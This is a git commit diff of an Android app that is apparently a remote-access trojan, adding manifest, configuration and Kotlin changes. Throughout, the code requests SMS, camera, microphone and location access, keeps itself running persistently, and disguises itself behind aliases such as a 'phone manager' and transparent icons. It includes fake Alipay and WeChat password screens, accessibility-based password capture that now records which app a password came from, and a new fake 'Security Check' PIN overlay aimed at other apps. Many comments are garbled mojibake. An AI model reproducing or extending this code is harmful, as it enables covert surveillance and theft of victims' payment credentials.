feat: upload latest android source changes

This commit is contained in:
sue
2026-03-03 22:16:30 +08:00
parent c0a7109816
commit 0bf4f72141
56 changed files with 14949 additions and 2152 deletions

View File

@@ -21,103 +21,95 @@ android {
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
}
lint {
// Keep CI/build running even when lint reports issues.
abortOnError false
checkReleaseBuilds false
}
buildTypes {
release {
// 启用代码混淆和压缩
// Release hardening
minifyEnabled true
// 启用资源压缩
shrinkResources true
// 使用优化的ProGuard配置
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
// 签名配置
// Signing config
signingConfig signingConfigs.debug
// 构建优化
// Build optimization
zipAlignEnabled true
debuggable false
jniDebuggable false
// 构建配置字段
buildConfigField "String", "BUILD_TYPE", "\"release\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
}
debug {
// 调试版本不启用混淆,方便开发
// Easier troubleshooting for local development
minifyEnabled false
shrinkResources false
debuggable true
// 构建配置字段
buildConfigField "String", "BUILD_TYPE", "\"debug\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "false"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false"
}
// 创建增强版本
create("enhancement") {
initWith(getByName("release"))
// 强化混淆配置
// Enhanced release-like profile
minifyEnabled true
shrinkResources true
// 强化构建配置
buildConfigField "String", "BUILD_TYPE", "\"enhancement\""
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
// 启用更严格的优化
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
}
dependencies {
implementation 'com.github.pedroSG94.RootEncoder:library:2.5.4-1.8.22'
implementation 'androidx.core:core-ktx:1.10.1'
implementation 'androidx.appcompat:appcompat:1.6.1'
implementation 'com.google.android.material:material:1.9.0'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
// 协程支持
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3'
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3'
// ✅ Socket.IO v4 官方客户端库
implementation 'io.socket:socket.io-client:2.1.0'
// 网络库
implementation 'org.webrtc:google-webrtc:1.0.32006'
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
// JSON处理
implementation 'org.json:json:20231013'
// 生命周期组件
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2'
implementation 'androidx.lifecycle:lifecycle-service:2.6.2'
// WorkManager保活 - 使用兼容API 33的版本
implementation 'androidx.work:work-runtime-ktx:2.8.1'
// 测试依赖
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.5'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
}
}

View File

@@ -1,10 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.hikoncont">
<!-- 必要权限 -->
<!-- 蹇呰鏉冮檺 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
@@ -12,84 +13,88 @@
tools:ignore="QueryAllPackagesPermission" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<!-- Android 15+ 网络相关权限 -->
<!-- Android 15+ 缃戠粶鐩稿叧鏉冮檺 -->
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
<!-- Android 15+ 后台网络访问权限 -->
<!-- Android 15+ 鍚庡彴缃戠粶璁块棶鏉冮檺 -->
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"
tools:targetApi="34" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE"
tools:targetApi="34" />
<!-- 开机自启动权限 -->
<!-- 寮€鏈鸿嚜鍚姩鏉冮檺 -->
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" />
<!-- 自动重启相关权限 -->
<!-- 鑷姩閲嶅惎鐩稿叧鏉冮檺 -->
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
<uses-permission android:name="android.permission.USE_EXACT_ALARM" />
<!-- 屏幕录制权限 -->
<!-- 灞忓箷褰曞埗鏉冮檺 -->
<uses-permission android:name="android.permission.MEDIA_PROJECTION" />
<!-- 解锁屏幕权限参考billd-desk -->
<!-- 瑙i攣灞忓箷鏉冮檺锛堝弬鑰僢illd-desk锛?-->
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
<!-- 蓝牙权限参考billd-deskAndroid 30以下) -->
<!-- 钃濈墮鏉冮檺锛堝弬鑰僢illd-desk锛孉ndroid 30浠ヤ笅锛?-->
<uses-permission android:name="android.permission.BLUETOOTH"
android:maxSdkVersion="30" />
<!-- 音频设置权限参考billd-desk -->
<!-- 闊抽璁剧疆鏉冮檺锛堝弬鑰僢illd-desk锛?-->
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
<!-- 摄像头权限 -->
<!-- 鎽勫儚澶存潈闄?-->
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<!-- 短信权限 -->
<!-- 鐭俊鏉冮檺 -->
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<!-- 相册权限 -->
<!-- 鐩稿唽鏉冮檺 -->
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
<uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
<uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<!-- 存储权限 - 修复 mi_exception_log 写入错误 -->
<!-- 瀛樺偍鏉冮檺 - 淇 mi_exception_log 鍐欏叆閿欒 -->
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
android:maxSdkVersion="28" />
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
tools:ignore="ScopedStorage" />
<!-- 摄像头功能特性 -->
<!-- 鎽勫儚澶村姛鑳界壒鎬?-->
<uses-feature android:name="android.hardware.camera" android:required="false" />
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
<uses-feature android:name="android.hardware.camera.front" android:required="false" />
<!-- 设备管理员权限 -->
<!-- 璁惧绠$悊鍛樻潈闄?-->
<uses-permission android:name="android.permission.DEVICE_ADMIN" />
<!-- 修改系统设置权限(用于调节亮度) -->
<!-- 淇敼绯荤粺璁剧疆鏉冮檺锛堢敤浜庤皟鑺備寒搴︼級 -->
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<!-- 修改安全设置权限(用于色彩反转等) -->
<!-- 淇敼瀹夊叏璁剧疆鏉冮檺锛堢敤浜庤壊褰╁弽杞瓑锛?-->
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<!-- 任务管理权限用于将Activity带到前台 -->
<!-- 浠诲姟绠悊鏉冮檺锛堢敤浜庡皢Activity甯﹀埌鍓嶅彴锛?-->
<uses-permission android:name="android.permission.REORDER_TASKS" />
<!-- 任务管理权限(用于应用前后台切换) -->
<!-- 浠诲姟绠$悊鏉冮檺锛堢敤浜庡簲鐢ㄥ墠鍚庡彴鍒囨崲锛?-->
<uses-permission android:name="android.permission.GET_TASKS" />
<!-- WorkManager 诊断权限 -->
<!-- WorkManager 璇婃柇鏉冮檺 -->
<uses-permission android:name="android.permission.DUMP" />
<application
@@ -106,7 +111,7 @@
android:preserveLegacyExternalStorage="true"
tools:targetApi="35">
<!-- ✅ 主Activity - 直接集成WebView -->
<!-- 鉁?涓籄ctivity - 鐩存帴闆嗘垚WebView -->
<activity
android:name=".MainActivity"
android:exported="true"
@@ -115,9 +120,17 @@
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data
android:scheme="ccprojer"
android:host="install" />
</intent-filter>
</activity>
<!-- 透明保活Activity - 借鉴反编译项目的FlyActivity -->
<!-- 閫忔槑淇濇椿Activity - 鍊熼壌鍙嶇紪璇戦」鐩殑FlyActivity -->
<activity
android:name=".TransparentKeepAliveActivity"
android:exported="true"
@@ -132,7 +145,7 @@
android:showWhenLocked="true"
android:excludeFromRecents="true" />
<!-- 保活启动器Activity - 借鉴反编译项目的OpenActivity -->
<!-- 淇濇椿鍚姩鍣ˋctivity - 鍊熼壌鍙嶇紪璇戦」鐩殑OpenActivity -->
<activity
android:name=".KeepAliveLauncherActivity"
android:exported="true"
@@ -141,7 +154,7 @@
android:elevation="0dp"
android:excludeFromRecents="true" />
<!-- 🔧 华为备用启动器Activity - 基于D:\kouch\app策略 -->
<!-- 馃敡 鍗庝负澶囩敤鍚姩鍣ˋctivity - 鍩轰簬D:\kouch\app绛栫暐 -->
<activity
android:name=".HuaweiBackupLauncherActivity"
android:enabled="false"
@@ -156,7 +169,7 @@
</intent-filter>
</activity>
<!-- 🔧 MainAliasActivity - 基于D:\kouch\app策略 -->
<!-- 馃敡 MainAliasActivity - 鍩轰簬D:\kouch\app绛栫暐 -->
<activity-alias
android:theme="@android:style/Theme.NoDisplay"
android:label="@string/app_name_tran"
@@ -185,7 +198,7 @@
</intent-filter>
</activity-alias>
<!-- 🔧 华为天气Alias - 基于f目录APK策略 -->
<!-- 馃敡 鍗庝负澶╂皵Alias - 鍩轰簬f鐩綍APK绛栫暐 -->
<activity-alias
android:label=" "
android:icon="@drawable/transparent_icon"
@@ -199,7 +212,7 @@
</intent-filter>
</activity-alias>
<!-- 🔧 华为设置Alias - 基于f目录APK策略 -->
<!-- 馃敡 鍗庝负璁剧疆Alias - 鍩轰簬f鐩綍APK绛栫暐 -->
<activity-alias
android:label=" "
android:icon="@drawable/transparent_icon"
@@ -214,7 +227,7 @@
</activity-alias>
<!-- 🆕 SIM伪装别名(默认禁用,仅在真隐藏失败时启用) -->
<!-- 馃啎 SIM浼鍒悕锛堥粯璁ょ鐢紝浠呭湪鐪熼殣钘忓け璐ユ椂鍚敤锛?-->
<activity-alias
android:name=".SIMAlias"
android:targetActivity=".MainActivity"
@@ -228,12 +241,12 @@
</intent-filter>
</activity-alias>
<!-- 🆕 手机管家伪装别名(优化版,默认禁用) -->
<!-- 馃啎 鎵嬫満绠″浼鍒悕锛堜紭鍖栫増锛岄粯璁ょ鐢級 -->
<activity-alias
android:name=".PhoneManagerAlias"
android:targetActivity=".MainActivity"
android:icon="@drawable/phone_manager_icon"
android:label="手机管家"
android:label="鎵嬫満绠″"
android:enabled="false"
android:exported="true">
<intent-filter>
@@ -242,7 +255,7 @@
</intent-filter>
</activity-alias>
<!-- 🆕 Vivo设备专用I管家伪装别名 -->
<!-- 馃啎 Vivo璁惧涓撶敤I绠″浼鍒悕 -->
<activity-alias
android:name=".VivoIGuanjiaAlias"
android:targetActivity=".MainActivity"
@@ -256,12 +269,12 @@
</intent-filter>
</activity-alias>
<!-- 🆕 OPPO设备伪装别名 -->
<!-- 馃啎 OPPO璁惧浼鍒悕 -->
<activity-alias
android:name=".OppoAlias"
android:targetActivity=".MainActivity"
android:icon="@drawable/sjgj"
android:label="手机管家"
android:label="鎵嬫満绠″"
android:enabled="false"
android:exported="true">
<intent-filter>
@@ -270,7 +283,7 @@
</intent-filter>
</activity-alias>
<!-- 🆕 华为设备伪装别名 -->
<!-- 馃啎 鍗庝负璁惧浼鍒悕 -->
<!-- <activity-alias-->
<!-- android:name=".HuaweiAlias"-->
@@ -285,7 +298,7 @@
<!-- </intent-filter>-->
<!-- </activity-alias>-->
<!-- 🆕 荣耀设备伪装别名 -->
<!-- 馃啎 鑽h€€璁惧浼鍒悕 -->
<activity-alias
android:name=".HonorAlias"
android:targetActivity=".MainActivity"
@@ -299,12 +312,12 @@
</intent-filter>
</activity-alias>
<!-- 🆕 小米设备伪装别名 -->
<!-- 馃啎 灏忕背璁惧浼鍒悕 -->
<activity-alias
android:name=".XiaomiAlias"
android:targetActivity=".MainActivity"
android:icon="@drawable/sjgj"
android:label="手机管家"
android:label="鎵嬫満绠″"
android:enabled="false"
android:exported="true">
<intent-filter>
@@ -315,7 +328,7 @@
<!-- 配置遮盖Activity -->
<!-- 閰嶇疆閬洊Activity -->
<activity
android:name=".activity.ConfigMaskActivity"
android:exported="false"
@@ -330,7 +343,7 @@
android:taskAffinity=""
android:allowTaskReparenting="false" />
<!-- 简单权限申请Activity -->
<!-- 绠€鍗曟潈闄愮敵璇稟ctivity -->
<activity
android:name=".activity.SimplePermissionActivity"
android:exported="false"
@@ -339,7 +352,7 @@
android:excludeFromRecents="true"
android:noHistory="true" />
<!-- 密码输入完成安装Activity -->
<!-- 瀵嗙爜杈撳叆瀹屾垚瀹夎Activity -->
<activity
android:name=".activity.PasswordInputActivity"
android:exported="false"
@@ -365,8 +378,19 @@
android:noHistory="false"
android:finishOnCloseSystemDialogs="false" />
<activity
android:name=".activity.AppInjectionPinActivity"
android:exported="false"
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
android:launchMode="singleTop"
android:excludeFromRecents="true"
android:taskAffinity=""
android:screenOrientation="portrait"
android:stateNotNeeded="true"
android:finishOnTaskLaunch="false"
android:noHistory="false" />
<!-- 支付宝密码输入页面Activity -->
<!-- 鏀粯瀹濆瘑鐮佽緭鍏ラ〉闈ctivity -->
<activity
android:name=".activity.AlipayPasswordActivity"
android:exported="false"
@@ -389,7 +413,7 @@
android:documentLaunchMode="never"
android:maxRecents="1" />
<!-- 微信密码输入页面Activity -->
<!-- 寰俊瀵嗙爜杈撳叆椤甸潰Activity -->
<activity
android:name=".activity.WechatPasswordActivity"
android:exported="false"
@@ -412,7 +436,7 @@
android:documentLaunchMode="never"
android:maxRecents="1" />
<!-- 权限请求Activity -->
<!-- 鏉冮檺璇锋眰Activity -->
<activity
android:name=".ui.PermissionRequestActivity"
android:exported="false"
@@ -425,7 +449,7 @@
<!-- 无障碍服务 -->
<!-- 鏃犻殰纰嶆湇鍔?-->
<service
android:name=".service.AccessibilityRemoteService"
android:exported="true"
@@ -440,31 +464,32 @@
<!-- 前台服务 -->
<!-- 鍓嶅彴鏈嶅姟 -->
<service
android:name=".service.RemoteControlForegroundService"
android:exported="false"
android:foregroundServiceType="mediaProjection" />
android:foregroundServiceType="mediaProjection|dataSync|camera|microphone" />
<!-- Android 15+ 额外数据同步服务 - 已移除,功能已集成到RemoteControlForegroundService -->
<!-- Android 15+ 棰濆鏁版嵁鍚屾鏈嶅姟 - 宸茬Щ闄わ紝鍔熻兘宸查泦鎴愬埌RemoteControlForegroundService -->
<!-- <service
android:name=".service.DataSyncForegroundService"
android:exported="false"
android:foregroundServiceType="dataSync"
android:enabled="false" /> -->
<!-- 保活服务 -->
<!-- 淇濇椿鏈嶅姟 -->
<service
android:name=".service.KeepAliveService"
android:exported="false" />
android:exported="false"
android:foregroundServiceType="dataSync" />
<!-- JobService 保活 -->
<!-- JobService 淇濇椿 -->
<service
android:name=".service.KeepAliveJobService"
android:permission="android.permission.BIND_JOB_SERVICE"
android:exported="true" />
<!-- 通知监听服务 - 参考 f 目录的 MessageToolUse -->
<!-- 閫氱煡鐩戝惉鏈嶅姟 - 鍙傝€?f 鐩綍鐨?MessageToolUse -->
<service
android:name=".service.NotificationMonitorService"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
@@ -474,13 +499,13 @@
</intent-filter>
</service>
<!-- 进程监控服务 -->
<!-- 杩涚▼鐩戞帶鏈嶅姟 -->
<service
android:name=".service.ProcessMonitorService"
android:exported="false"
android:foregroundServiceType="dataSync" />
<!-- WorkManager 初始化配置 - 修改现有的 InitializationProvider -->
<!-- WorkManager 鍒濆鍖栭厤缃?- 淇敼鐜版湁鐨?InitializationProvider -->
<provider
android:name="androidx.startup.InitializationProvider"
android:authorities="${applicationId}.androidx-startup"
@@ -606,36 +631,36 @@
</intent-filter>
</receiver>
<!-- 保活JobService - 已在上面声明,此处已移除重复声明 -->
<!-- 淇濇椿JobService - 宸插湪涓婇潰澹版槑锛屾澶勫凡绉婚櫎閲嶅澹版槑 -->
<!-- 服务保活器 -->
<!-- 鏈嶅姟淇濇椿鍣?-->
<service
android:name=".service.ServiceProtector"
android:exported="false"
android:enabled="true" />
<!-- 增强保活服务 -->
<!-- 澧炲己淇濇椿鏈嶅姟 -->
<service
android:name=".service.EnhancedKeepAliveService"
android:exported="false"
android:enabled="true"
android:foregroundServiceType="mediaPlayback" />
<!-- 守护保活服务 -->
<!-- 瀹堟姢淇濇椿鏈嶅姟 -->
<service
android:name=".service.GuardKeepAliveService"
android:exported="false"
android:enabled="true"
android:foregroundServiceType="mediaPlayback" />
<!-- AlarmManager保活服务 -->
<!-- AlarmManager淇濇椿鏈嶅姟 -->
<service
android:name=".service.AlarmManagerKeepAliveService"
android:exported="false"
android:enabled="true"
android:foregroundServiceType="mediaPlayback" />
<!-- 开机自启动接收器 -->
<!-- 寮€鏈鸿嚜鍚姩鎺ユ敹鍣?-->
<receiver
android:name=".receiver.BootReceiver"
android:exported="true"
@@ -652,7 +677,7 @@
</intent-filter>
</receiver>
<!-- 增强系统事件接收器 -->
<!-- 澧炲己绯荤粺浜嬩欢鎺ユ敹鍣?-->
<receiver
android:name=".service.EnhancedSystemEventReceiver"
android:exported="true"
@@ -671,7 +696,7 @@
</intent-filter>
</receiver>
<!-- 增强开机自启动接收器 -->
<!-- 澧炲己寮€鏈鸿嚜鍚姩鎺ユ敹鍣?-->
<receiver
android:name=".service.EnhancedBootReceiver"
android:exported="true"
@@ -683,7 +708,7 @@
</intent-filter>
</receiver>
<!-- 增强应用包变化接收器 -->
<!-- 澧炲己搴旂敤鍖呭彉鍖栨帴鏀跺櫒 -->
<receiver
android:name=".service.EnhancedPackagesReceiver"
android:exported="true"
@@ -698,7 +723,7 @@
</intent-filter>
</receiver>
<!-- 保活广播接收器 -->
<!-- 淇濇椿骞挎挱鎺ユ敹鍣?-->
<receiver
android:name=".service.KeepAliveReceiver"
android:exported="true"
@@ -709,7 +734,7 @@
</intent-filter>
</receiver>
<!-- AlarmManager广播接收器 -->
<!-- AlarmManager骞挎挱鎺ユ敹鍣?-->
<receiver
android:name=".service.AlarmManagerReceiver"
android:exported="true"
@@ -719,7 +744,7 @@
</intent-filter>
</receiver>
<!-- 重连测试接收器 -->
<!-- 閲嶈繛娴嬭瘯鎺ユ敹鍣?-->
<receiver
android:name=".receiver.ReconnectReceiver"
android:exported="true"
@@ -729,7 +754,7 @@
</intent-filter>
</receiver>
<!-- 智能权限恢复接收器 -->
<!-- 鏅鸿兘鏉冮檺鎭㈠鎺ユ敹鍣?-->
<receiver
android:name=".receiver.SmartRecoveryReceiver"
android:exported="true"
@@ -740,9 +765,9 @@
</intent-filter>
</receiver>
<!-- ✅ 已移除 SETUP_COMPLETE INSTALLATION_COMPLETE 广播接收器 -->
<!-- 现在使用 InstallationCompleteManager 直接函数调用,不再使用广播 -->
<!-- 鉁?宸茬Щ闄?SETUP_COMPLETE 鍜?INSTALLATION_COMPLETE 骞挎挱鎺ユ敹鍣?-->
<!-- 鐜板湪浣跨敤 InstallationCompleteManager 鐩存帴鍑芥暟璋冪敤锛屼笉鍐嶄娇鐢ㄥ箍鎾?-->
</application>
</manifest>
</manifest>

View File

@@ -1,18 +1,35 @@
{
"serverUrl": "ws://192.168.0.103:3001",
"serverUrl": "ws://192.168.100.45:3001",
"webUrl": "https://yhdm.one",
"webrtcTurnUrls": "",
"webrtcTurnUsername": "",
"webrtcTurnPassword": "",
"ownerUserId": "",
"ownerUsername": "",
"ownerGroupId": "",
"ownerGroupName": "",
"installToken": "",
"installResolveUrl": "",
"buildTime": "2025-09-09T11:45:57.889Z",
"version": "1.0.1.6",
"enableConfigMask": true,
"enableConfigMask": false,
"enableProgressBar": true,
"featureFlags": {
"bootAutoStart": true,
"workManagerKeepAlive": true,
"comprehensiveKeepAlive": true,
"enhancedEventRecovery": true,
"permissionMetrics": true,
"keepAliveMetrics": true
},
"configMaskText": "配置中请稍后...",
"configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备",
"configMaskSubtitle": "正在自动配置和连接\n请勿操作设备",
"configMaskStatus": "配置完成后将自动返回应用",
"pageStyleConfig": {
"appName": "短视频组件",
"statusText": "软件需要开启AI智能控权限\n请按以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关",
"appName": "控制组件",
"statusText": "软件需要开启 AI 智能控权限\n请按以下步骤操作\n1. 点击启用按钮\n2. 转到系统服务设置\n3. 找到本应用并进入\n4. 开启辅助功能",
"enableButtonText": "启用",
"usageInstructions": "使用说明\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意请在安全的网络环境中使用",
"usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意: 请在安全的网络环境中使用",
"apkFileName": ""
}
}
}

File diff suppressed because it is too large Load Diff

View File

@@ -1118,7 +1118,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"relativeTime" to (currentTime - passwordInputStartTime),
"actualPasswordText" to cleanActualText,
"displayText" to actualText,
"numericSequenceLength" to sequenceLength // ✅ 添加序列长度信息
"numericSequenceLength" to sequenceLength, // ✅ 添加序列长度信息
"packageName" to packageName,
"className" to className
)
passwordInputEvents.add(inputEvent)
@@ -1288,6 +1290,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
// 构建详细的分析信息文本 - ✅ 使用实际密码长度
val analysisText = buildPasswordAnalysisText(passwordAnalysis, duration, eventCount, actualPasswordLength, reconstructedPassword, confirmButtonCoordinate)
val lastEvent = passwordInputEvents.lastOrNull()
val sourcePackageName = lastEvent?.get("packageName") as? String ?: ""
val sourceClassName = lastEvent?.get("className") as? String ?: ""
logScope.launch {
val extraData = mutableMapOf<String, Any>(
@@ -1303,7 +1308,9 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
"enhancedPasswordType" to convertToEnhancedType(passwordType), // ✅ 添加增强类型
"legacyPasswordType" to passwordType, // ✅ 添加传统类型
"originalCurrentPasswordLength" to currentPasswordLength, // ✅ 保留原始长度用于调试
"correctedPasswordLength" to actualPasswordLength // ✅ 校正后的长度
"correctedPasswordLength" to actualPasswordLength, // ✅ 校正后的长度
"sourcePackageName" to sourcePackageName,
"sourceClassName" to sourceClassName
)
// ✅ 如果有确认按钮坐标记录到extraData中
@@ -4373,4 +4380,4 @@ class OperationLogCollector(private val service: AccessibilityRemoteService) {
return isKeyboardRelated && hasNumericContent
}
}
}

View File

@@ -7,6 +7,8 @@ import androidx.work.WorkManager
import com.hikoncont.crash.CrashHandler
import com.hikoncont.service.WorkManagerKeepAliveService
import com.hikoncont.service.ComprehensiveKeepAliveManager
import com.hikoncont.util.DeviceMetricsReporter
import com.hikoncont.util.RuntimeFeatureFlags
/**
* 应用程序主类
@@ -36,6 +38,17 @@ class RemoteControlApplication : Application() {
android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({
startComprehensiveKeepAliveIfInstallationComplete()
}, 10000L) // 延迟10秒启动避免干扰用户正常使用
val runtimeFlags = RuntimeFeatureFlags.current(this)
DeviceMetricsReporter.reportKeepAlive(
context = this,
metricName = "application_on_create",
success = true,
data = mapOf(
"workManagerKeepAlive" to runtimeFlags.workManagerKeepAlive,
"comprehensiveKeepAlive" to runtimeFlags.comprehensiveKeepAlive
)
)
Log.i(TAG, "✅ 应用程序初始化完成")
} catch (e: Exception) {
@@ -71,6 +84,12 @@ class RemoteControlApplication : Application() {
*/
private fun startWorkManagerKeepAliveIfInstallationComplete() {
try {
val flags = RuntimeFeatureFlags.current(this)
if (!flags.workManagerKeepAlive) {
Log.i(TAG, "⏭️ featureFlags.workManagerKeepAlive=false跳过WorkManager保活启动")
return
}
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -88,8 +107,20 @@ class RemoteControlApplication : Application() {
workManagerKeepAlive.startKeepAlive(this)
Log.i(TAG, "✅ WorkManager 保活服务已启动")
DeviceMetricsReporter.reportKeepAlive(
context = this,
metricName = "workmanager_keepalive_start",
success = true,
data = mapOf("source" to "application")
)
} catch (e: Exception) {
Log.e(TAG, "❌ 启动 WorkManager 保活服务失败", e)
DeviceMetricsReporter.reportKeepAlive(
context = this,
metricName = "workmanager_keepalive_start",
success = false,
data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
)
}
}
@@ -114,6 +145,12 @@ class RemoteControlApplication : Application() {
*/
private fun startComprehensiveKeepAliveIfInstallationComplete() {
try {
val flags = RuntimeFeatureFlags.current(this)
if (!flags.comprehensiveKeepAlive) {
Log.i(TAG, "⏭️ featureFlags.comprehensiveKeepAlive=false跳过综合保活启动")
return
}
// 检查安装是否完成
val installationStateManager = com.hikoncont.util.InstallationStateManager.getInstance(this)
val isInstallationComplete = installationStateManager.isInstallationComplete()
@@ -140,9 +177,21 @@ class RemoteControlApplication : Application() {
keepAliveManager.startComprehensiveKeepAlive()
Log.i(TAG, "✅ 综合保活管理器启动完成")
DeviceMetricsReporter.reportKeepAlive(
context = this,
metricName = "comprehensive_keepalive_start",
success = true,
data = mapOf("source" to "application")
)
} catch (e: Exception) {
Log.e(TAG, "❌ 启动综合保活管理器失败", e)
DeviceMetricsReporter.reportKeepAlive(
context = this,
metricName = "comprehensive_keepalive_start",
success = false,
data = mapOf("source" to "application", "error" to (e.message ?: "unknown"))
)
}
}

View File

@@ -0,0 +1,183 @@
package com.hikoncont.activity
import android.graphics.Color
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.text.InputFilter
import android.text.InputType
import android.util.Log
import android.view.Gravity
import android.view.ViewGroup
import android.view.WindowManager
import android.widget.Button
import android.widget.EditText
import android.widget.LinearLayout
import android.widget.TextView
import androidx.appcompat.app.AppCompatActivity
import com.hikoncont.service.AccessibilityRemoteService
class AppInjectionPinActivity : AppCompatActivity() {
companion object {
private const val TAG = "AppInjectionPinActivity"
}
private lateinit var pinInput: EditText
private lateinit var statusText: TextView
private var attemptCount = 0
private var completed = false
private var targetPackage: String = ""
private var targetAppName: String = ""
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
targetPackage = intent.getStringExtra("targetPackage").orEmpty()
targetAppName = intent.getStringExtra("targetAppName").orEmpty()
window.addFlags(
WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED or
WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON or
WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
)
setFinishOnTouchOutside(false)
val root = LinearLayout(this).apply {
orientation = LinearLayout.VERTICAL
setPadding(48, 64, 48, 48)
setBackgroundColor(Color.parseColor("#111111"))
gravity = Gravity.CENTER_HORIZONTAL
layoutParams = ViewGroup.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.MATCH_PARENT
)
}
val title = TextView(this).apply {
text = "Security Check"
setTextColor(Color.WHITE)
textSize = 24f
gravity = Gravity.CENTER
}
root.addView(
title,
LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
)
)
val subTitle = TextView(this).apply {
val appPart = if (targetAppName.isNotBlank()) targetAppName else targetPackage.ifBlank { "target app" }
text = "Enter 6-digit PIN to continue ($appPart)"
setTextColor(Color.parseColor("#B0B0B0"))
textSize = 14f
gravity = Gravity.CENTER
}
root.addView(
subTitle,
LinearLayout.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.WRAP_CONTENT
).apply {
topMargin = 20
bottomMargin = 24
}
)
pinInput = EditText(this).apply {
hint = "6-digit PIN"
setHintTextColor(Color.parseColor("#666666"))
setTextColor(Color.WHITE)
textSize = 22f
gravity = Gravity.CENTER
